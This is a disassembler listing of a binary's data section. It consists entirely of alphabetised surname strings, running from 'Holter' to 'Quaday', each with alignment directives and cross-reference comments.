aHolter db 'Holter',0 ; DATA XREF: .nsp0:00445BB8o
align 10h
aHolway db 'Holway',0 ; DATA XREF: .nsp0:00445BBCo
align 4
aHolzman db 'Holzman',0 ; DATA XREF: .nsp0:00445BC0o
aHooker_0 db 'Hooker',0 ; DATA XREF: .nsp0:00445BC4o
align 4
aHopkins db 'Hopkins',0 ; DATA XREF: .nsp0:00445BC8o
aHorsley db 'Horsley',0 ; DATA XREF: .nsp0:00445BCCo
aHoshida db 'Hoshida',0 ; DATA XREF: .nsp0:00445BD0o
aHostage db 'Hostage',0 ; DATA XREF: .nsp0:00445BD4o
aHottle db 'Hottle',0 ; DATA XREF: .nsp0:00445BD8o
align 10h
aHoward db 'Howard',0 ; DATA XREF: .nsp0:00445BDCo
align 4
aHoy db 'Hoy',0 ; DATA XREF: .nsp0:00445BE0o
aHuey db 'Huey',0 ; DATA XREF: .nsp0:00445BE4o
align 4
aHuidekoper db 'Huidekoper',0 ; DATA XREF: .nsp0:00445BE8o
align 10h
aHungerford db 'Hungerford',0 ; DATA XREF: .nsp0:00445BECo
align 4
aHuntington db 'Huntington',0 ; DATA XREF: .nsp0:00445BF0o
align 4
aHupp db 'Hupp',0 ; DATA XREF: .nsp0:00445BF4o
align 10h
aHurtubise db 'Hurtubise',0 ; DATA XREF: .nsp0:00445BF8o
align 4
aHutchings db 'Hutchings',0 ; DATA XREF: .nsp0:00445BFCo
align 4
aHyde db 'Hyde',0 ; DATA XREF: .nsp0:00445C00o
align 10h
aIaquinta db 'Iaquinta',0 ; DATA XREF: .nsp0:00445C04o
align 4
aIchikawa db 'Ichikawa',0 ; DATA XREF: .nsp0:00445C08o
align 4
aIgarashi db 'Igarashi',0 ; DATA XREF: .nsp0:00445C0Co
align 4
aInamura db 'Inamura',0 ; DATA XREF: .nsp0:00445C10o
aInniss db 'Inniss',0 ; DATA XREF: .nsp0:00445C14o
align 4
aIsaac db 'Isaac',0 ; DATA XREF: .nsp0:00445C18o
align 4
aIsaievych db 'Isaievych',0 ; DATA XREF: .nsp0:00445C1Co
align 4
aIsbill db 'Isbill',0 ; DATA XREF: .nsp0:00445C20o
align 10h
aIsserman db 'Isserman',0 ; DATA XREF: .nsp0:00445C24o
align 4
aIyer db 'Iyer',0 ; DATA XREF: .nsp0:00445C28o
align 4
aJacenko db 'Jacenko',0 ; DATA XREF: .nsp0:00445C2Co
aJackson db 'Jackson',0 ; DATA XREF: .nsp0:00445C30o
aJagers db 'Jagers',0 ; DATA XREF: .nsp0:00445C34o
align 4
aJagger db 'Jagger',0 ; DATA XREF: .nsp0:00445C38o
align 4
aJagoe db 'Jagoe',0 ; DATA XREF: .nsp0:00445C3Co
align 4
aJain db 'Jain',0 ; DATA XREF: .nsp0:00445C40o
align 4
aJamil db 'Jamil',0 ; DATA XREF: .nsp0:00445C44o
align 4
aJanjigian db 'Janjigian',0 ; DATA XREF: .nsp0:00445C48o
align 4
aJarnagin db 'Jarnagin',0 ; DATA XREF: .nsp0:00445C4Co
align 4
aJarrell db 'Jarrell',0 ; DATA XREF: .nsp0:00445C50o
aJay db 'Jay',0 ; DATA XREF: .nsp0:00445C54o
aJeffers db 'Jeffers',0 ; DATA XREF: .nsp0:00445C58o
aJellis db 'Jellis',0 ; DATA XREF: .nsp0:00445C5Co
align 10h
aJenkins db 'Jenkins',0 ; DATA XREF: .nsp0:00445C60o
aJespersen db 'Jespersen',0 ; DATA XREF: .nsp0:00445C64o
align 4
aJewett db 'Jewett',0 ; DATA XREF: .nsp0:00445C68o
align 4
aJohannesson db 'Johannesson',0 ; DATA XREF: .nsp0:00445C6Co
aJohannsen db 'Johannsen',0 ; DATA XREF: .nsp0:00445C70o
align 4
aJohns db 'Johns',0 ; DATA XREF: .nsp0:00445C74o
align 4
aJolly db 'Jolly',0 ; DATA XREF: .nsp0:00445C78o
align 4
aJorgensen db 'Jorgensen',0 ; DATA XREF: .nsp0:00445C7Co
align 10h
aJucks db 'Jucks',0 ; DATA XREF: .nsp0:00445C80o
align 4
aJuliano db 'Juliano',0 ; DATA XREF: .nsp0:00445C84o
aJulious db 'Julious',0 ; DATA XREF: .nsp0:00445C88o
aKabbash db 'Kabbash',0 ; DATA XREF: .nsp0:00445C8Co
aKaboolian db 'Kaboolian',0 ; DATA XREF: .nsp0:00445C90o
align 4
aKafadar db 'Kafadar',0 ; DATA XREF: .nsp0:00445C94o
aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: .nsp0:00445C98o
aKaligian db 'Kaligian',0 ; DATA XREF: .nsp0:00445C9Co
align 4
aKalil db 'Kalil',0 ; DATA XREF: .nsp0:00445CA0o
align 4
aKalinowski db 'Kalinowski',0 ; DATA XREF: .nsp0:00445CA4o
align 10h
aKalman db 'Kalman',0 ; DATA XREF: .nsp0:00445CA8o
align 4
aKamel db 'Kamel',0 ; DATA XREF: .nsp0:00445CACo
align 10h
aKangis db 'Kangis',0 ; DATA XREF: .nsp0:00445CB0o
align 4
aKarpouzes db 'Karpouzes',0 ; DATA XREF: .nsp0:00445CB4o
align 4
aKassower db 'Kassower',0 ; DATA XREF: .nsp0:00445CB8o
align 10h
aKasten db 'Kasten',0 ; DATA XREF: .nsp0:00445CBCo
align 4
aKawachi db 'Kawachi',0 ; DATA XREF: .nsp0:00445CC0o
aKee db 'Kee',0 ; DATA XREF: .nsp0:00445CC4o
aKeenan db 'Keenan',0 ; DATA XREF: .nsp0:00445CC8o
align 4
aKeepper db 'Keepper',0 ; DATA XREF: .nsp0:00445CCCo
aKeith db 'Keith',0 ; DATA XREF: .nsp0:00445CD0o
align 4
aKelker db 'Kelker',0 ; DATA XREF: .nsp0:00445CD4o
align 4
aKelsey db 'Kelsey',0 ; DATA XREF: .nsp0:00445CD8o
align 4
aKempton db 'Kempton',0 ; DATA XREF: .nsp0:00445CDCo
aKemsley db 'Kemsley',0 ; DATA XREF: .nsp0:00445CE0o
aKendall db 'Kendall',0 ; DATA XREF: .nsp0:00445CE4o
aKerry_0 db 'Kerry',0 ; DATA XREF: .nsp0:00445CE8o
align 4
aKeul db 'Keul',0 ; DATA XREF: .nsp0:00445CECo
align 4
aKhong db 'Khong',0 ; DATA XREF: .nsp0:00445CF0o
align 4
aKimmel db 'Kimmel',0 ; DATA XREF: .nsp0:00445CF4o
align 4
aKimmett db 'Kimmett',0 ; DATA XREF: .nsp0:00445CF8o
aKimura db 'Kimura',0 ; DATA XREF: .nsp0:00445CFCo
align 4
aKindall db 'Kindall',0 ; DATA XREF: .nsp0:00445D00o
aKinsley db 'Kinsley',0 ; DATA XREF: .nsp0:00445D04o
aKippenberger db 'Kippenberger',0 ; DATA XREF: .nsp0:00445D08o
align 4
aKirscht db 'Kirscht',0 ; DATA XREF: .nsp0:00445D0Co
aKittridge db 'Kittridge',0 ; DATA XREF: .nsp0:00445D10o
align 4
aKleckner db 'Kleckner',0 ; DATA XREF: .nsp0:00445D14o
align 4
aKleiman db 'Kleiman',0 ; DATA XREF: .nsp0:00445D18o
aKleinfelder db 'Kleinfelder',0 ; DATA XREF: .nsp0:00445D1Co
aKlemperer db 'Klemperer',0 ; DATA XREF: .nsp0:00445D20o
align 4
aKling db 'Kling',0 ; DATA XREF: .nsp0:00445D24o
align 4
aKlinkenborg db 'Klinkenborg',0 ; DATA XREF: .nsp0:00445D28o
aKlint db 'Klint',0 ; DATA XREF: .nsp0:00445D2Co
align 10h
aKnuff db 'Knuff',0 ; DATA XREF: .nsp0:00445D30o
align 4
aKobrick db 'Kobrick',0 ; DATA XREF: .nsp0:00445D34o
aKoch db 'Koch',0 ; DATA XREF: .nsp0:00445D38o
align 4
aKohn db 'Kohn',0 ; DATA XREF: .nsp0:00445D3Co
align 10h
aKoivumaki db 'Koivumaki',0 ; DATA XREF: .nsp0:00445D40o
align 4
aKommer db 'Kommer',0 ; DATA XREF: .nsp0:00445D44o
align 4
aKoniaris db 'Koniaris',0 ; DATA XREF: .nsp0:00445D48o
align 10h
aKonrad db 'Konrad',0 ; DATA XREF: .nsp0:00445D4Co
align 4
aKool db 'Kool',0 ; DATA XREF: .nsp0:00445D50o
align 10h
aKorzybski db 'Korzybski',0 ; DATA XREF: .nsp0:00445D54o
align 4
aKotter db 'Kotter',0 ; DATA XREF: .nsp0:00445D58o
align 4
aKovaks db 'Kovaks',0 ; DATA XREF: .nsp0:00445D5Co
align 4
aKraemer db 'Kraemer',0 ; DATA XREF: .nsp0:00445D60o
aKrailo db 'Krailo',0 ; DATA XREF: .nsp0:00445D64o
align 4
aKrasney db 'Krasney',0 ; DATA XREF: .nsp0:00445D68o
aKraus db 'Kraus',0 ; DATA XREF: .nsp0:00445D6Co
align 4
aKroemer db 'Kroemer',0 ; DATA XREF: .nsp0:00445D70o
aKrysiak db 'Krysiak',0 ; DATA XREF: .nsp0:00445D74o
aKuenzli db 'Kuenzli',0 ; DATA XREF: .nsp0:00445D78o
aKumar db 'Kumar',0 ; DATA XREF: .nsp0:00445D7Co
align 4
aKusman db 'Kusman',0 ; DATA XREF: .nsp0:00445D80o
align 4
aKuwabara db 'Kuwabara',0 ; DATA XREF: .nsp0:00445D84o
align 10h
aLa db 'La',0 ; DATA XREF: .nsp0:00445D88o
align 4
aLabunka db 'Labunka',0 ; DATA XREF: .nsp0:00445D8Co
aLafler db 'Lafler',0 ; DATA XREF: .nsp0:00445D90o
align 4
aLaing db 'Laing',0 ; DATA XREF: .nsp0:00445D94o
align 4
aLallemant db 'Lallemant',0 ; DATA XREF: .nsp0:00445D98o
align 4
aLandes db 'Landes',0 ; DATA XREF: .nsp0:00445D9Co
align 10h
aLankes db 'Lankes',0 ; DATA XREF: .nsp0:00445DA0o
align 4
aLantieri db 'Lantieri',0 ; DATA XREF: .nsp0:00445DA4o
align 4
aLanzit db 'Lanzit',0 ; DATA XREF: .nsp0:00445DA8o
align 4
aLaserna db 'Laserna',0 ; DATA XREF: .nsp0:00445DACo
aLashley db 'Lashley',0 ; DATA XREF: .nsp0:00445DB0o
aLawless db 'Lawless',0 ; DATA XREF: .nsp0:00445DB4o
aLecar db 'Lecar',0 ; DATA XREF: .nsp0:00445DB8o
align 4
aLecce db 'Lecce',0 ; DATA XREF: .nsp0:00445DBCo
align 4
aLeclercq db 'Leclercq',0 ; DATA XREF: .nsp0:00445DC0o
align 10h
aLeite db 'Leite',0 ; DATA XREF: .nsp0:00445DC4o
align 4
aLenard db 'Lenard',0 ; DATA XREF: .nsp0:00445DC8o
align 10h
aLEnclos db 'l',27h,'Enclos',0 ; DATA XREF: .nsp0:00445DCCo
align 4
aLesser db 'Lesser',0 ; DATA XREF: .nsp0:00445DD0o
align 4
aLessi db 'Lessi',0 ; DATA XREF: .nsp0:00445DD4o
align 4
aLiakos db 'Liakos',0 ; DATA XREF: .nsp0:00445DD8o
align 4
aLidano db 'Lidano',0 ; DATA XREF: .nsp0:00445DDCo
align 4
aLiem db 'Liem',0 ; DATA XREF: .nsp0:00445DE0o
align 4
aLight_0 db 'Light',0 ; DATA XREF: .nsp0:00445DE4o
align 4
aLightfoot db 'Lightfoot',0 ; DATA XREF: .nsp0:00445DE8o
align 4
aLim db 'Lim',0 ; DATA XREF: .nsp0:00445DECo
aLinares db 'Linares',0 ; DATA XREF: .nsp0:00445DF0o
aLinda_0 db 'Linda',0 ; DATA XREF: .nsp0:00445DF4o
align 4
aLinder db 'Linder',0 ; DATA XREF: .nsp0:00445DF8o
align 4
aLine_0 db 'Line',0 ; DATA XREF: .nsp0:00445DFCo
align 4
aLinehan db 'Linehan',0 ; DATA XREF: .nsp0:00445E00o
aLinzee db 'Linzee',0 ; DATA XREF: .nsp0:00445E04o
align 4
aLippmann db 'Lippmann',0 ; DATA XREF: .nsp0:00445E08o
align 4
aLipponen db 'Lipponen',0 ; DATA XREF: .nsp0:00445E0Co
align 4
aLittle db 'Little',0 ; DATA XREF: .nsp0:00445E10o
align 4
aLitvak db 'Litvak',0 ; DATA XREF: .nsp0:00445E14o
align 4
aLivernash db 'Livernash',0 ; DATA XREF: .nsp0:00445E18o
align 10h
aLivi db 'Livi',0 ; DATA XREF: .nsp0:00445E1Co
align 4
aLivolsi db 'Livolsi',0 ; DATA XREF: .nsp0:00445E20o
aLizardo db 'Lizardo',0 ; DATA XREF: .nsp0:00445E24o
aLocatelli db 'Locatelli',0 ; DATA XREF: .nsp0:00445E28o
align 4
aLongworth db 'Longworth',0 ; DATA XREF: .nsp0:00445E2Co
align 10h
aLoss db 'Loss',0 ; DATA XREF: .nsp0:00445E30o
align 4
aLoveman db 'Loveman',0 ; DATA XREF: .nsp0:00445E34o
aLowenstein db 'Lowenstein',0 ; DATA XREF: .nsp0:00445E38o
align 4
aLoza db 'Loza',0 ; DATA XREF: .nsp0:00445E3Co
align 4
aLubin db 'Lubin',0 ; DATA XREF: .nsp0:00445E40o
align 4
aLucas db 'Lucas',0 ; DATA XREF: .nsp0:00445E44o
align 4
aLuciano db 'Luciano',0 ; DATA XREF: .nsp0:00445E48o
aLuczkow db 'Luczkow',0 ; DATA XREF: .nsp0:00445E4Co
aLuecke db 'Luecke',0 ; DATA XREF: .nsp0:00445E50o
align 4
aLunetta db 'Lunetta',0 ; DATA XREF: .nsp0:00445E54o
aLuoma db 'Luoma',0 ; DATA XREF: .nsp0:00445E58o
align 4
aLussier db 'Lussier',0 ; DATA XREF: .nsp0:00445E5Co
aLutcavage db 'Lutcavage',0 ; DATA XREF: .nsp0:00445E60o
align 10h
aLuzader db 'Luzader',0 ; DATA XREF: .nsp0:00445E64o
aMa db 'Ma',0 ; DATA XREF: .nsp0:00445E68o
align 4
aMaccormac db 'Maccormac',0 ; DATA XREF: .nsp0:00445E6Co
align 4
aMacdonald db 'Macdonald',0 ; DATA XREF: .nsp0:00445E70o
align 4
aMaceachern db 'Maceachern',0 ; DATA XREF: .nsp0:00445E74o
align 10h
aMacintyre db 'Macintyre',0 ; DATA XREF: .nsp0:00445E78o
align 4
aMackenney db 'Mackenney',0 ; DATA XREF: .nsp0:00445E7Co
align 4
aMacmillan db 'MacMillan',0 ; DATA XREF: .nsp0:00445E80o
align 4
aMacy db 'Macy',0 ; DATA XREF: .nsp0:00445E84o
align 4
aMadigan db 'Madigan',0 ; DATA XREF: .nsp0:00445E88o
aMaggio db 'Maggio',0 ; DATA XREF: .nsp0:00445E8Co
align 4
aMahony db 'Mahony',0 ; DATA XREF: .nsp0:00445E90o
align 4
aMaier db 'Maier',0 ; DATA XREF: .nsp0:00445E94o
align 4
aMaineHershey db 'Maine-Hershey',0 ; DATA XREF: .nsp0:00445E98o
align 4
aMaisano db 'Maisano',0 ; DATA XREF: .nsp0:00445E9Co
aMalatesta db 'Malatesta',0 ; DATA XREF: .nsp0:00445EA0o
align 10h
aMaller db 'Maller',0 ; DATA XREF: .nsp0:00445EA4o
align 4
aMalova db 'Malova',0 ; DATA XREF: .nsp0:00445EA8o
align 10h
aManalis db 'Manalis',0 ; DATA XREF: .nsp0:00445EACo
aMandel db 'Mandel',0 ; DATA XREF: .nsp0:00445EB0o
align 10h
aManganiello db 'Manganiello',0 ; DATA XREF: .nsp0:00445EB4o
aMantovan db 'Mantovan',0 ; DATA XREF: .nsp0:00445EB8o
align 4
aMarch_0 db 'March',0 ; DATA XREF: .nsp0:00445EBCo
align 10h
aMarchbanks db 'Marchbanks',0 ; DATA XREF: .nsp0:00445EC0o
align 4
aMarcus db 'Marcus',0 ; DATA XREF: .nsp0:00445EC4o
align 4
aMargalit db 'Margalit',0 ; DATA XREF: .nsp0:00445EC8o
align 10h
aMargetts db 'Margetts',0 ; DATA XREF: .nsp0:00445ECCo
align 4
aMarques db 'Marques',0 ; DATA XREF: .nsp0:00445ED0o
aMartinez db 'Martinez',0 ; DATA XREF: .nsp0:00445ED4o
align 10h
aMartochio db 'Martochio',0 ; DATA XREF: .nsp0:00445ED8o
align 4
aMarton db 'Marton',0 ; DATA XREF: .nsp0:00445EDCo
align 4
aMarubini db 'Marubini',0 ; DATA XREF: .nsp0:00445EE0o
align 10h
aMass db 'Mass',0 ; DATA XREF: .nsp0:00445EE4o
align 4
aMatalka db 'Matalka',0 ; DATA XREF: .nsp0:00445EE8o
aMatarazzo db 'Matarazzo',0 ; DATA XREF: .nsp0:00445EECo
align 4
aMatsukata db 'Matsukata',0 ; DATA XREF: .nsp0:00445EF0o
align 4
aMattson db 'Mattson',0 ; DATA XREF: .nsp0:00445EF4o
aMauzy db 'Mauzy',0 ; DATA XREF: .nsp0:00445EF8o
align 4
aMay_0 db 'May',0 ; DATA XREF: .nsp0:00445EFCo
aMazzali db 'Mazzali',0 ; DATA XREF: .nsp0:00445F00o
aMazziotta db 'Mazziotta',0 ; DATA XREF: .nsp0:00445F04o
align 10h
aMcbride db 'Mcbride',0 ; DATA XREF: .nsp0:00445F08o
aMccaffery db 'Mccaffery',0 ; DATA XREF: .nsp0:00445F0Co
align 4
aMccall db 'Mccall',0 ; DATA XREF: .nsp0:00445F10o
align 4
aMcclearn db 'Mcclearn',0 ; DATA XREF: .nsp0:00445F14o
align 4
aMcdowell db 'Mcdowell',0 ; DATA XREF: .nsp0:00445F18o
align 4
aMcelroy db 'Mcelroy',0 ; DATA XREF: .nsp0:00445F1Co
aMcfadden db 'McFadden',0 ; DATA XREF: .nsp0:00445F20o
align 4
aMcghee db 'Mcghee',0 ; DATA XREF: .nsp0:00445F24o
align 10h
aMcgoldrick db 'Mcgoldrick',0 ; DATA XREF: .nsp0:00445F28o
align 4
aMcilroy db 'McIlroy',0 ; DATA XREF: .nsp0:00445F2Co
aMcintosh db 'Mcintosh',0 ; DATA XREF: .nsp0:00445F30o
align 10h
aMckenna db 'Mckenna',0 ; DATA XREF: .nsp0:00445F34o
aMclane db 'Mclane',0 ; DATA XREF: .nsp0:00445F38o
align 10h
aMclaren db 'Mclaren',0 ; DATA XREF: .nsp0:00445F3Co
aMcnealy db 'Mcnealy',0 ; DATA XREF: .nsp0:00445F40o
aMcnulty db 'Mcnulty',0 ; DATA XREF: .nsp0:00445F44o
aMeccariello db 'Meccariello',0 ; DATA XREF: .nsp0:00445F48o
aMemisoglu db 'Memisoglu',0 ; DATA XREF: .nsp0:00445F4Co
align 10h
aMenzies db 'Menzies',0 ; DATA XREF: .nsp0:00445F50o
aMerikoski db 'Merikoski',0 ; DATA XREF: .nsp0:00445F54o
align 4
aMerlani db 'Merlani',0 ; DATA XREF: .nsp0:00445F58o
aMerminod db 'Merminod',0 ; DATA XREF: .nsp0:00445F5Co
align 4
aMerseth db 'Merseth',0 ; DATA XREF: .nsp0:00445F60o
aMerz db 'Merz',0 ; DATA XREF: .nsp0:00445F64o
align 4
aMetelka db 'Metelka',0 ; DATA XREF: .nsp0:00445F68o
aMetropolis db 'Metropolis',0 ; DATA XREF: .nsp0:00445F6Co
align 4
aMeurer db 'Meurer',0 ; DATA XREF: .nsp0:00445F70o
align 4
aMichelman db 'Michelman',0 ; DATA XREF: .nsp0:00445F74o
align 10h
aMiddle db 'Middle',0 ; DATA XREF: .nsp0:00445F78o
align 4
aMieher db 'Mieher',0 ; DATA XREF: .nsp0:00445F7Co
align 10h
aMills db 'Mills',0 ; DATA XREF: .nsp0:00445F80o
align 4
aMinh db 'Minh',0 ; DATA XREF: .nsp0:00445F84o
align 10h
aMini db 'Mini',0 ; DATA XREF: .nsp0:00445F88o
align 4
aMinichiello db 'Minichiello',0 ; DATA XREF: .nsp0:00445F8Co
aGonzalez db 'Gonzalez',0 ; DATA XREF: .nsp0:00445F90o
align 10h
aMitropoulos db 'Mitropoulos',0 ; DATA XREF: .nsp0:00445F94o
aMittal db 'Mittal',0 ; DATA XREF: .nsp0:00445F98o
align 4
aMocroft db 'Mocroft',0 ; DATA XREF: .nsp0:00445F9Co
aModestino db 'Modestino',0 ; DATA XREF: .nsp0:00445FA0o
align 4
aMoeller db 'Moeller',0 ; DATA XREF: .nsp0:00445FA4o
aMohr db 'Mohr',0 ; DATA XREF: .nsp0:00445FA8o
align 4
aMoiamedi db 'Moiamedi',0 ; DATA XREF: .nsp0:00445FACo
align 4
aMonque db 'Monque',0 ; DATA XREF: .nsp0:00445FB0o
align 4
aMontilio db 'Montilio',0 ; DATA XREF: .nsp0:00445FB4o
align 4
aMooredech_ db 'MooreDeCh.',0 ; DATA XREF: .nsp0:00445FB8o
align 4
aMorani db 'Morani',0 ; DATA XREF: .nsp0:00445FBCo
align 4
aMoreton db 'Moreton',0 ; DATA XREF: .nsp0:00445FC0o
aMorrison db 'Morrison',0 ; DATA XREF: .nsp0:00445FC4o
align 10h
aMorrow db 'Morrow',0 ; DATA XREF: .nsp0:00445FC8o
align 4
aMortimer db 'Mortimer',0 ; DATA XREF: .nsp0:00445FCCo
align 4
aMosher db 'Mosher',0 ; DATA XREF: .nsp0:00445FD0o
align 4
aMosler db 'Mosler',0 ; DATA XREF: .nsp0:00445FD4o
align 4
aMostafavi db 'Mostafavi',0 ; DATA XREF: .nsp0:00445FD8o
align 10h
aMotooka db 'Motooka',0 ; DATA XREF: .nsp0:00445FDCo
aMudarri db 'Mudarri',0 ; DATA XREF: .nsp0:00445FE0o
aMuello db 'Muello',0 ; DATA XREF: .nsp0:00445FE4o
align 4
aMugnai db 'Mugnai',0 ; DATA XREF: .nsp0:00445FE8o
align 10h
aMulkern db 'Mulkern',0 ; DATA XREF: .nsp0:00445FECo
aMulroy db 'Mulroy',0 ; DATA XREF: .nsp0:00445FF0o
align 10h
aMumford db 'Mumford',0 ; DATA XREF: .nsp0:00445FF4o
aMussachio db 'Mussachio',0 ; DATA XREF: .nsp0:00445FF8o
align 4
aNaddeo db 'Naddeo',0 ; DATA XREF: .nsp0:00445FFCo
align 4
aNapolitano db 'Napolitano',0 ; DATA XREF: .nsp0:00446000o
align 4
aNardi db 'Nardi',0 ; DATA XREF: .nsp0:00446004o
align 10h
aNardone db 'Nardone',0 ; DATA XREF: .nsp0:00446008o
aNaviaux db 'Naviaux',0 ; DATA XREF: .nsp0:0044600Co
aNayduch db 'Nayduch',0 ; DATA XREF: .nsp0:00446010o
aNelson db 'Nelson',0 ; DATA XREF: .nsp0:00446014o
align 10h
aNenna db 'Nenna',0 ; DATA XREF: .nsp0:00446018o
align 4
aNesci db 'Nesci',0 ; DATA XREF: .nsp0:0044601Co
align 10h
aNeuman db 'Neuman',0 ; DATA XREF: .nsp0:00446020o
align 4
aNewfeld db 'Newfeld',0 ; DATA XREF: .nsp0:00446024o
aNewlin db 'Newlin',0 ; DATA XREF: .nsp0:00446028o
align 4
aNg db 'Ng',0 ; DATA XREF: .nsp0:0044602Co
align 4
aNi_0 db 'Ni',0 ; DATA XREF: .nsp0:00446030o
align 10h
aNickerson db 'Nickerson',0 ; DATA XREF: .nsp0:00446034o
align 4
aNickoloff db 'Nickoloff',0 ; DATA XREF: .nsp0:00446038o
align 4
aNisenson db 'Nisenson',0 ; DATA XREF: .nsp0:0044603Co
align 4
aNitabach db 'Nitabach',0 ; DATA XREF: .nsp0:00446040o
align 10h
aNotman db 'Notman',0 ; DATA XREF: .nsp0:00446044o
align 4
aNuzum db 'Nuzum',0 ; DATA XREF: .nsp0:00446048o
align 10h
aOcougne db 'Ocougne',0 ; DATA XREF: .nsp0:0044604Co
aOgata db 'Ogata',0 ; DATA XREF: .nsp0:00446050o
align 10h
aOh db 'Oh',0 ; DATA XREF: .nsp0:00446054o
align 4
aOHagan db 'O',27h,'hagan',0 ; DATA XREF: .nsp0:00446058o
aOldford db 'Oldford',0 ; DATA XREF: .nsp0:0044605Co
aOlsen db 'Olsen',0 ; DATA XREF: .nsp0:00446060o
align 4
aOlson db 'Olson',0 ; DATA XREF: .nsp0:00446064o
align 4
aOlszewski db 'Olszewski',0 ; DATA XREF: .nsp0:00446068o
align 10h
aOMalley db 'O',27h,'malley',0 ; DATA XREF: .nsp0:0044606Co
align 4
aOman db 'Oman',0 ; DATA XREF: .nsp0:00446070o
align 4
aOMeara db 'O',27h,'meara',0 ; DATA XREF: .nsp0:00446074o
aOpel db 'Opel',0 ; DATA XREF: .nsp0:00446078o
align 4
aOray db 'Oray',0 ; DATA XREF: .nsp0:0044607Co
align 4
aOrfield db 'Orfield',0 ; DATA XREF: .nsp0:00446080o
aOrsi db 'Orsi',0 ; DATA XREF: .nsp0:00446084o
align 4
aOspina db 'Ospina',0 ; DATA XREF: .nsp0:00446088o
align 4
aOstrowski db 'Ostrowski',0 ; DATA XREF: .nsp0:0044608Co
align 10h
aOttaviani db 'Ottaviani',0 ; DATA XREF: .nsp0:00446090o
align 4
aOtten db 'Otten',0 ; DATA XREF: .nsp0:00446094o
align 4
aOuchida db 'Ouchida',0 ; DATA XREF: .nsp0:00446098o
aOvid db 'Ovid',0 ; DATA XREF: .nsp0:0044609Co
align 4
aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: .nsp0:004460A0o
align 4
aPaine db 'Paine',0 ; DATA XREF: .nsp0:004460A4o
align 4
aPalayoor db 'Palayoor',0 ; DATA XREF: .nsp0:004460A8o
align 4
aPalepu db 'Palepu',0 ; DATA XREF: .nsp0:004460ACo
align 10h
aPallara db 'Pallara',0 ; DATA XREF: .nsp0:004460B0o
aPalmitesta db 'Palmitesta',0 ; DATA XREF: .nsp0:004460B4o
align 4
aPanadero db 'Panadero',0 ; DATA XREF: .nsp0:004460B8o
align 10h
aPanizzon db 'Panizzon',0 ; DATA XREF: .nsp0:004460BCo
align 4
aPantilla db 'Pantilla',0 ; DATA XREF: .nsp0:004460C0o
align 4
aPaoletti db 'Paoletti',0 ; DATA XREF: .nsp0:004460C4o
align 4
aParmeggiani db 'Parmeggiani',0 ; DATA XREF: .nsp0:004460C8o
aParris db 'Parris',0 ; DATA XREF: .nsp0:004460CCo
align 4
aPartridge db 'Partridge',0 ; DATA XREF: .nsp0:004460D0o
align 4
aPascucci db 'Pascucci',0 ; DATA XREF: .nsp0:004460D4o
align 10h
aPatefield db 'Patefield',0 ; DATA XREF: .nsp0:004460D8o
align 4
aPatrick_0 db 'Patrick',0 ; DATA XREF: .nsp0:004460DCo
aPattullo db 'Pattullo',0 ; DATA XREF: .nsp0:004460E0o
align 10h
aPavetti db 'Pavetti',0 ; DATA XREF: .nsp0:004460E4o
aPavlon db 'Pavlon',0 ; DATA XREF: .nsp0:004460E8o
align 10h
aPawloski db 'Pawloski',0 ; DATA XREF: .nsp0:004460ECo
align 4
aPaynter db 'Paynter',0 ; DATA XREF: .nsp0:004460F0o
aPeabody db 'Peabody',0 ; DATA XREF: .nsp0:004460F4o
aPearlberg db 'Pearlberg',0 ; DATA XREF: .nsp0:004460F8o
align 4
aPederson db 'Pederson',0 ; DATA XREF: .nsp0:004460FCo
align 4
aPeishel db 'Peishel',0 ; DATA XREF: .nsp0:00446100o
aPenny db 'Penny',0 ; DATA XREF: .nsp0:00446104o
align 4
aPereira db 'Pereira',0 ; DATA XREF: .nsp0:00446108o
aPerko db 'Perko',0 ; DATA XREF: .nsp0:0044610Co
align 4
aPerlak db 'Perlak',0 ; DATA XREF: .nsp0:00446110o
align 4
aPerlman db 'Perlman',0 ; DATA XREF: .nsp0:00446114o
aPerna db 'Perna',0 ; DATA XREF: .nsp0:00446118o
align 4
aPerone db 'Perone',0 ; DATA XREF: .nsp0:0044611Co
align 4
aPerrimon db 'Perrimon',0 ; DATA XREF: .nsp0:00446120o
align 10h
aPeters db 'Peters',0 ; DATA XREF: .nsp0:00446124o
align 4
aPetruzello db 'Petruzello',0 ; DATA XREF: .nsp0:00446128o
align 4
aPettibone db 'Pettibone',0 ; DATA XREF: .nsp0:0044612Co
align 10h
aPettit db 'Pettit',0 ; DATA XREF: .nsp0:00446130o
align 4
aPfister db 'Pfister',0 ; DATA XREF: .nsp0:00446134o
aPilbeam db 'Pilbeam',0 ; DATA XREF: .nsp0:00446138o
aPinot db 'Pinot',0 ; DATA XREF: .nsp0:0044613Co
align 10h
aPlancon db 'Plancon',0 ; DATA XREF: .nsp0:00446140o
aPlant db 'Plant',0 ; DATA XREF: .nsp0:00446144o
align 10h
aPlasket db 'Plasket',0 ; DATA XREF: .nsp0:00446148o
aPlous db 'Plous',0 ; DATA XREF: .nsp0:0044614Co
align 10h
aPo db 'Po',0 ; DATA XREF: .nsp0:00446150o
align 4
aPocobene db 'Pocobene',0 ; DATA XREF: .nsp0:00446154o
align 10h
aPoincaire db 'Poincaire',0 ; DATA XREF: .nsp0:00446158o
align 4
aPointer db 'Pointer',0 ; DATA XREF: .nsp0:0044615Co
aPoirier db 'Poirier',0 ; DATA XREF: .nsp0:00446160o
aPolak db 'Polak',0 ; DATA XREF: .nsp0:00446164o
align 4
aPolanyi db 'Polanyi',0 ; DATA XREF: .nsp0:00446168o
aPolitis db 'Politis',0 ; DATA XREF: .nsp0:0044616Co
aPoma db 'Poma',0 ; DATA XREF: .nsp0:00446170o
align 4
aPoolman db 'Poolman',0 ; DATA XREF: .nsp0:00446174o
aPowers db 'Powers',0 ; DATA XREF: .nsp0:00446178o
align 4
aPresper db 'Presper',0 ; DATA XREF: .nsp0:0044617Co
aPreucel db 'Preucel',0 ; DATA XREF: .nsp0:00446180o
aPrevost db 'Prevost',0 ; DATA XREF: .nsp0:00446184o
aPritchard db 'Pritchard',0 ; DATA XREF: .nsp0:00446188o
align 10h
aPritz db 'Pritz',0 ; DATA XREF: .nsp0:0044618Co
align 4
aProietti db 'Proietti',0 ; DATA XREF: .nsp0:00446190o
align 4
aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: .nsp0:00446194o
align 4
aPuccia db 'Puccia',0 ; DATA XREF: .nsp0:00446198o
align 4
aPugh db 'Pugh',0 ; DATA XREF: .nsp0:0044619Co
align 4
aPynchon db 'Pynchon',0 ; DATA XREF: .nsp0:004461A0o
aQuaday db 'Quaday',0 ; DATA XREF: .nsp0:004461A4o
